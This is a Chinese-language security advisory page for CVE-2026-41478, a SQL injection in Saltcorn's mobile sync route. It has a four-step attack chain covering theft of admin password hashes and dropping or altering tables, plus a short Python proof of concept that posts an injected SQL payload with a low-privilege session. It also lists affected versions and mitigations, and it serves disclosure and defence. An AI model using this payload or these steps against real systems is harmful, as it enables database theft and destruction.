IPBUF安全漏洞报告
English
CVE-2026-41478 CVSS 9.9 严重

CVE-2026-41478 Saltcorn SQL注入漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41478
漏洞类型
SQL注入
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Saltcorn

相关标签

SQL注入SaltcornCVE-2026-41478数据库安全权限绕过

漏洞概述

Saltcorn是一款开源无代码数据库构建器。在特定版本之前,其移动同步路由存在SQL注入漏洞。拥有低权限且至少对一张表有读取权限的认证用户,可通过同步参数注入任意SQL语句,导致敏感数据泄露、数据库篡改或破坏。

技术细节

该漏洞源于Saltcorn移动同步功能对用户输入的过滤不严。在受影响版本中,当低权限用户发起同步请求时,攻击者可以在同步参数中构造恶意SQL语句。由于系统未对这些参数进行充分的预编译或转义处理,恶意语句被直接传递给后端数据库执行。利用该漏洞,攻击者虽然仅拥有读取权限,但可以绕过权限检查,执行读取管理员密码哈希、配置信息等敏感数据的操作,甚至在特定数据库配置下执行写入或删除操作,从而完全控制数据库。

攻击链分析

STEP 1
1. 账号获取
攻击者注册或获取一个Saltcorn平台的低权限账号,并确保该账号对至少一个表有读取权限。
STEP 2
2. 漏洞探测
攻击者向移动同步路由(/mobile/sync)发送特制的数据包,在同步参数中注入SQL测试语句(如单引号或逻辑判断),验证是否存在SQL注入漏洞。
STEP 3
3. 数据窃取
确认漏洞存在后,攻击者利用UNION SELECT或布尔盲注技术,查询users表获取管理员密码哈希,或查询配置表获取敏感密钥。
STEP 4
4. 数据库破坏
在数据库权限允许的情况下,攻击者进一步执行DROP TABLE、DELETE或UPDATE等命令,导致数据丢失或篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-41478 PoC Example # Target: Saltcorn mobile-sync route # Requires: Low-privilege authenticated user target_url = "https://<target-host>/mobile/sync" session_cookie = "<valid_session_cookie>" # Low priv user session headers = { "Cookie": f"saltcorn_session={session_cookie}", "Content-Type": "application/json" } # Malicious payload to extract version payload = { "table": "users", "changes": "1=1; SELECT * FROM information_schema.tables; --" } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Potential SQL Injection successful!") print("[+] Response:", response.text) else: print("[-] Failed")

影响范围

Saltcorn < 1.4.6
Saltcorn < 1.5.6
Saltcorn < 1.6.0-beta.5

防御指南

临时缓解措施
若无法立即升级,建议暂时禁用移动同步功能或通过防火墙限制对/mobile/sync路径的访问。同时,应加强对输入参数的过滤,并在WAF中部署针对该漏洞的特征规则。此外,建议修改数据库连接账号权限,遵循最小权限原则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表